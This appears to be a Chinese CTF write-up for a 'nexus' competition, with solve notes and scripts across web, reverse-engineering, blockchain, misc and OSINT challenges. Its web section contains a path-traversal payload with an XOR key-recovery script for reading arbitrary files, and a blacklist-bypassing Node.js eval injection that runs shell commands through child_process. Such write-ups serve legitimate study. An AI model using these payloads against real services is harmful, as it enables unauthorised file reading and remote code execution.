web
Secure Storage
两个漏洞点
1.目录穿越
func (s *Server) handleDownload(w http.ResponseWriter, r *http.Request) {
dir, key, err := s.getOrCreateSession(w, r)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
fileName := r.PathValue("file")
fmt.Println(fileName)
filePath := path.Join(dir, fileName)
fmt.Println(filePath)
这里拼接路径使用的是path.Join是url解码后直接拼接,而不是用filepath这个库,所以可以使用
..%2f..%2f..%2fflag.txt
这样读文件,但是读到的文件是加密,我们需要找到密钥,下面就是第二个漏洞点
2.xor异或加密
func xorCopy(dst io.Writer, src io.Reader, key []byte) error {
// ...
out[i] = buf[i] ^ key[(int(pos)+i)%len(key)]
// ...
}
每一个session都会生成一个64字节的key key与文件内容异或之后发送给用户
如果知道一个文件明文和密文便可以知道密钥
正好目录下有一个logo.png文件明文,使用目录穿越得到其密文,然后就能得到key,然后就能读取任意文件了
import requests
from pwn import xor
import urllib.parse
BASE_URL = "http://ctf.nexus-security.club:6213" # 请替换为实际题目地址
s = requests.Session()
r = s.get(BASE_URL + "/")
r_plain = s.get(BASE_URL + "/logo.png")
plaintext_logo = r_plain.content
lfi_payload = "..%2f..%2f..%2fproc%2fapp%2flogo.png"
r_enc = s.get(f"{BASE_URL}/download/{lfi_payload}")
lfi_payload = "..%2f..%2fapp%2flogo.png" # 假设部署在 /app
r_enc = s.get(f"{BASE_URL}/download/{lfi_payload}")
ciphertext_logo = r_enc.content
key_stream = xor(plaintext_logo[:64], ciphertext_logo[:64])
print(f"[+] Key recovered (hex): {key_stream.hex()}")
target = "..%2f..%2f..%2fflag.txt"
r_flag = s.get(f"{BASE_URL}/download/{target}")
encrypted_flag = r_flag.content
decrypted_flag = xor(encrypted_flag, key_stream)
print(decrypted_flag)
#nexus{l34k_7h3_k3y_br34k_7h3_c1ph3r}
Calculator
看到json直接想打rce发现过滤一些黑名单,可以拼接绕过
{
"expr": "module['req'+'uire']('chi'+'ld_pro'+'cess')['exe'+'cSync']('cat f*').toString()"
}
nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}
re
huntMe1

shift+F12直接看到flag
nexus{h1dd3n_1n_7h3_f0r357_4t_n1gh7}
hunterMe2

满足
$$\text{flag}[i] \oplus \text{sub_401239}(i) == \text{byte_402060}[i]$$

sub_401239是一个密钥生成函数,可以直接拿来用

密文也有了,可以直接写脚本
def solve():
target = [
0xF8, 0x98, 0x76, 0xFB, 0xC9, 0x0A, 0x03, 0x0D, 0x44, 0x3D, 0x6B,
0xA6, 0xC3, 0x25, 0xA8, 0x60, 0xFB, 0x57, 0x6C, 0xF3, 0xA1,
0xF0, 0xCF, 0x61, 0xE6, 0xE4, 0x45, 0x16, 0x0E, 0x18, 0x3E, 0x27
]
data_chunks = [
[0xA8, 0xC5, 0x83, 0xA0, 0x42, 0x2C, 0x01], # unk_402020
[0xCB, 0x32, 0x20, 0xF3, 0xCF, 0x65, 0xBC], # unk_402027
[0x13, 0x79, 0xB2, 0x29, 0x74, 0x61, 0xE7], # unk_40202E
[0xA7, 0x68, 0x76, 0x0A, 0x4E, 0x39, 0x43], # unk_402035
[0xF1, 0xCD, 0x12, 0xB2, 0x7D, 0x0B, 0x2D] # unk_40203C
]
def sub_401201(a1, a2):
term1 = (61 * a2)
inner_xor = (8 * a1) ^ a1
term2 = (inner_xor & 0xFF) >> 5
res = term1 ^ term2 ^ inner_xor
return res & 0xFF
def get_key(idx):
v6 = 0
for i in range(5):
v3 = (idx * (i + 1) + i * i + 3) % 7
v6 ^= data_chunks[i][v3]
v6 = ((v6 << 1) | (v6 >> 7)) & 0xFF
return sub_401201(v6, idx)
flag = ""
print("正在解密...")
for i in range(32):
key = get_key(i)
decrypted_char = target[i] ^ key
flag += chr(decrypted_char)
print("-" * 30)
print("Flag:", flag)
print("-" * 30)
if __name__ == "__main__":
solve()
#nexus{f0ll0w_7h3_ch4ng1ng_7r41l}
blank

程序的核心逻辑是对10段32字节的数据进行XOR解密:
从IDA找到NUM_SEGMENTS=10、pads[320]和cipher_segments[320],逐字节对pads和cipher_segments进行XOR操作
cipher_segments = [
0xA5, 0xB1, 0x27, 0x27, 0x53, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x90, 0xDE, 0x9E, 0xE6, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x6C, 0x5F, 0x5A, 0x5E, 0xD6, 0x12, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5C, 0xEA, 0xBB, 0x9F, 0xDE, 0x76, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x75, 0x25, 0x43, 0xFA, 0x0C, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0xEC, 0xD9, 0xCA, 0xB2, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE4, 0xAA, 0x4C, 0x3E, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB1, 0x63, 0x2B, 0xDB, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x32, 0x18, 0x16, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xBC, 0x2C, 0xD1, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
pads = [
0xCB, 0xD4, 0x5F, 0x52, 0x20, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE4, 0xB6, 0xAD, 0xB9, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6F, 0x58, 0x38, 0x05, 0x29, 0xE7, 0x7E, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x98, 0x88, 0xE9, 0xBB, 0x42, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2A, 0x14, 0x37, 0x89, 0x3F, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1E, 0xB3, 0xAE, 0xA2, 0x81, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xBB, 0xD3, 0x7C, 0x4B, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC2, 0x17, 0x1B, 0xAB, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5E, 0x77, 0x79, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8D, 0x42, 0xB6, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
num_segments = 10
segment_size = 32
result = bytearray()
for i in range(num_segments):
segment_result = bytearray()
for j in range(segment_size):
idx = i * segment_size + j
decrypted_byte = cipher_segments[idx] ^ pads[idx]
segment_result.append(decrypted_byte)
try:
null_pos = segment_result.index(0x00)
segment_result = segment_result[:null_pos]
except ValueError:
pass
result.extend(segment_result)
ascii_result = result.decode('utf-8')
print("ASCII 解码:")
print(repr(ascii_result))
apeiros
使用了两种混淆 宏定义混淆和控制流平坦化
丢ai直接出
1. 识别核心结构 代码是一个状态机。
zzzzz_ZZZ_zZZZ是状态变量,初始值为1337(zzz_ZZ_zzz)。z是用户输入的字符串数组。Z是输入字符串的索引(计数器)。
2. 跟踪状态跳转 我们需要找到一条让程序不报错(不进入break或 错误状态)的路径。让我们按顺序分析switch中的case:初始状态 Case
1337(zzz_ZZ_zzz):- 检查
z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzz-> 查表得'n' - 检查
z[Z++] != zzzzz_zzzzzzzzzzzz-> 查表得'e' - 检查
z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz-> 查表得'x' - 检查
z[Z++] != z_zzzzzzzzzzzzzzzzz-> 查表得'u' - 检查
z[Z++] != zzzzzzzzz_zzzzzzzzzzzzzz-> 查表得's' - 检查
z[Z++] != zz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz-> 查表得'{' - 成功后跳转状态:
404(zzz_ZzzZ_zzz) - 当前片段:
nexus{
- 检查
状态 Case
404(zzz_ZzzZ_zzz):... != zzzzzzzzzzzzz->'p'... != zzzzzzzz_zzzzzzzzzzzzzzzzzzz->'r'... != zzz_zzzzzzzzzzz->'3'... != zzzzzzzzzzzzz->'p'... != zzzzzzzz_zzzzzzzzzzzzzzzzzzz->'r'... != zzzzzzz_zzzz->'0'... != zzzzzzzzzzzzzzzzzzzz->'c'- 成功后跳转状态:
90210(zzz_ZzzzZ_zzz) - 当前片段:
pr3pr0c
状态 Case
90210(zzz_ZzzzZ_zzz):'3''s''s''0''r'zzz_zzz->_(define 20 看起来不对,查看definez_zzz是_)- 成功后跳转状态:
8008(zzz_ZzzzzZ_zzz) - 当前片段:
3ss0r_
状态 Case
8008(zzz_ZzzzzZ_zzz):'4''r''3''_''u''n''d''3''r'- 成功后跳转状态:
555(zzz_ZzzZzzZ_zzz) - 当前片段:
4r3_und3r
状态 Case
555(zzz_ZzzZzzZ_zzz):'3''s''t''1''m''4''t''3''d''}'- 成功后跳转状态:
101(zzz_zz_ZZzZ) -> 循环结束,打印成功信息。 - 当前片段:
3st1m4t3d}
将上述分析的所有字符片段拼接起来,就是这道题的 Flagnexus{pr3pr0c3ss0r_4r3_und3r3st1m4t3d}
oops!

查看main函数发现一个xor运算temp_key是S0E= base64解码 KA
.data中一大串 觉得是密文直接循环异或得到flag
import base64
# key
key = base64.b64decode(b"S0E=") # b"KA"
# synt 原始数据
synt = bytes([
0x25,0x24,0x33,0x34,0x38,0x3A,0x7C,0x29,0x78,0x1E,0x28,0x71,0x2F,0x72,
0x14,0x38,0x7B,0x34,0x14,0x33,0x78,0x75,0x2F,0x1E,0x39,0x72,0x2D,0x2D,
0x78,0x22,0x7C,0x74,0x14,0x76,0x23,0x72,0x14,0x2C,0x7A,0x2F,0x2F,0x1E,
0x32,0x71,0x3E,0x1E,0x28,0x75,0x39,0x33,0x32,0x1E,0x25,0x71,0x7C,0x1E,
0x7C,0x29,0x78,0x1E,0x3C,0x71,0x39,0x2D,0x2F,0x1E,0x32,0x71,0x3E,0x1E,
0x2D,0x72,0x7F,0x33,0x36
])
out = bytearray()
for i, b in enumerate(synt):
out.append(b ^ key[i % len(key)])
print(out.decode())
#nexus{7h3_c0d3_y0u_r34d_r3fl3c75_7h3_m1nd_y0u_c4rry_n07_7h3_w0rld_y0u_f34r}
tarnished
这题应该考察的反调试,不过可以静态分析off_47F000 指向 7 个 7 字节表:
T0 = unk_47F062
T1 = unk_47F05B
T2 = unk_47F054
T3 = unk_47F04D
T4 = unk_47F046
T5 = unk_47F03F
T6 = unk_47F038
dword_47F070[i] = 7,所以每个表全部参与。
拼接方式
for v17 = 0..6:
for i = 0..6:
v13.push( table[i][v17] )
得到 49 字节。
flag 的生成算法:
key = 0x409071AE6EE9506B // 8 bytes, little endian
for i in range(49):
in = v13[i]
k = key[i & 7]
t = k ^ i ^ in
t2 = t - (i+1)*k
r = (i % 7) + 1
t3 = ROR(t2, r)
out = k ^ t3
v8[i] = out
def ror(x, r):
x &= 0xff
return ((x >> r) | (x << (8 - r))) & 0xff
# 7 tables
tables = [
[0x1E,0x1F,0x2D,0x76,0x8F,0x35,0x1B],
[0x25,0x47,0x9F,0x04,0x2F,0x67,0xE9],
[0xAC,0x1A,0xC7,0xAF,0x29,0xAC,0x1E],
[0x04,0x5F,0x22,0x57,0x48,0x4C,0x2E],
[0x8B,0xB6,0x9D,0x2D,0x20,0x84,0x33],
[0x5C,0x2A,0xA4,0xFA,0x12,0x79,0xB2],
[0x7F,0x39,0xAE,0xD5,0x0C,0x45,0xDD],
]
v13 = []
for col in range(7):
for row in range(7):
v13.append(tables[row][col])
key = 0x409071AE6EE9506B
key_bytes = [(key >> (8*i)) & 0xff for i in range(8)]
v8 = []
for i in range(49):
inp = v13[i]
k = key_bytes[i & 7]
t = k ^ i ^ inp
t2 = (t - (i+1)*k) & 0xff
r = (i % 7) + 1
t3 = ror(t2, r)
out = k ^ t3
v8.append(out)
flag = bytes(v8)
print(flag.decode())
#nexus{cl34r3d_1t_l1k3_4_pr0_m0v1n_0n_70_7h3_n3x7}
HuntMe3
main 中读取用户输入,并调用 sub_401367 进行校验,成功则输出通关文本。
核心校验在 sub_401367 中
if (strlen(a1) != 53)
return 0;
for (i = 0; i <= 52; ++i)
{
if (sub_4012BC(i) ^ a1[byte_402040[i]] != byte_402080[i])
return 0;
}
a1[perm[i]]=sub_4012BC(i)⊕target[i]
perm = byte_402040 target = byte_402080 这是一个可逆的逐字节异或校验。
# -*- coding: utf-8 -*-
# -----------------------------
# data from .rodata
# -----------------------------
perm = [
0x2D,0x2C,0x32,0x14,0x06,0x25,0x0F,0x03,0x22,0x07,0x2F,0x23,
0x00,0x31,0x1C,0x27,0x10,0x02,0x30,0x0A,0x2A,0x16,0x05,0x12,
0x1D,0x01,0x09,0x17,0x1B,0x1F,0x1A,0x08,0x0C,0x24,0x04,0x20,
0x2E,0x34,0x0B,0x26,0x0E,0x33,0x15,0x1E,0x19,0x29,0x13,
0x11,0x2B,0x28,0x21,0x0D,0x18
]
target = [
0xC7,0x8E,0x0B,0xE5,0x23,0x81,0x18,0x23,0x27,0xED,
0x06,0xA1,0x19,0x30,0x38,0xD0,0x2E,0x66,0xE2,0x26,0x6E,
0x23,0xAA,0xA1,0x5D,0x7D,0x36,0xE5,0x6C,0x6D,0x35,
0xA0,0x34,0x0C,0xF9,0x84,0xD7,0xC9,0x5E,0x56,0xC2,
0xE9,0x44,0xE0,0x77,0x7B,0x20,0x78,0x1F,0xD9,0x98,
0x85,0xF5
]
# -----------------------------
# rotate left 32-bit
# -----------------------------
def rol32(x, r):
r &= 31
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
# -----------------------------
# sub_4012A0 (inline in IDA)
# -----------------------------
def sub_4012A0(v, r):
return rol32(v, r)
# -----------------------------
# sub_4012BC
# -----------------------------
def sub_4012BC(a1):
v6 = 92
v5 = -46 & 0xFF
v4 = 359969064
for i in range(a1 + 1):
v6 = (v6 - 4) & 0xFF
v5 = (v5 + i * i) & 0xFF
v4 = sub_4012A0(v4, i & 7)
tmp = ((v4 >> (a1 & 7)) ^ v5 ^ v6) & 0xFF
v2 = ((8 * tmp) & 0xFF) ^ tmp
return ((v2 >> 5) ^ v2) & 0xFF
# -----------------------------
# recover flag
# -----------------------------
flag = [0] * 53
for i in range(53):
pos = perm[i]
flag[pos] = sub_4012BC(i) ^ target[i]
flag_bytes = bytes(flag)
print(flag_bytes)
print(flag_bytes.decode())
misc
Blinders
LSB隐写
nexus{yea_u_didi_v2er_wekcj7}
blockchain
Chain Clue

nexus{Tr4c3_Th3_Tr4ns4ct10n}
Silent Flag
智能合约发出了一个 Stored 事件,你需要从这个事件的日志(Logs)中提取并恢复原始数据。
在以太坊中,非索引(non-indexed)参数会被 ABI 编码后放在 data 字段里
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001c59524f42444c6f07656803757e68730474077306797068050705024a00000000
偏移量 (Offset) - 前 32 字节 (64个字符): 值为 0x20 (十进制 32)。这表示实际数据从第 32 字节开始(紧接着这块之后)。
长度 (Length) - 接下来的 32 字节 (64个字符):值为 0x1c (十进制 28)。这意味着后面的核心数据长度是 28 个字节。
核心密文 (Content) - 接下来的数据: 59524f42444c6f07656803757e68730474077306797068050705024a
topic1 对应的是 Stored 事件里的第一个参数 id,发现使用0x37异或就能拿到flag
# 1. 从 data 中提取的核心密文 (Hex)
cipher_hex = "59524f42444c6f07656803757e68730474077306797068050705024a"
# 2. 从 topic1 中提取的 Key (0x1337 的最后一位通常是 key)
key = 0x37
# 3. 执行异或 (XOR) 解密
# 将 hex 转为 bytes,逐个字节与 0x37 进行异或
decoded_bytes = bytes([b ^ key for b in bytes.fromhex(cipher_hex)])
# 4. 打印结果
print("Flag:", decoded_bytes.decode('utf-8'))
OSINT
Special Horse
nexus{agnes_tachyon}